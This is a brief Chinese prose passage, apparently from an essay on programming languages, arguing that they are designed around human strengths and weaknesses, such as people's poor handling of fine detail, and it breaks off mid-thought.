　　不管你喜不喜欢，编程语言也是以人为本的。我怀疑人类的大脑与躯干一样，都有着许多令人琢磨不透的特点。否则为什么有些事情人类特别擅长，而另一些事情人类干起来特别困难。比如，人类似乎不善于处理精细的工作，所以最好还是交给计算机处理。另一方面，如果人类真的擅长和细节打交道，那么我们应该都用机器语言编程才对。
　　另外，还要记住一点。怎么理解编程语言？你不要把它看成那些已...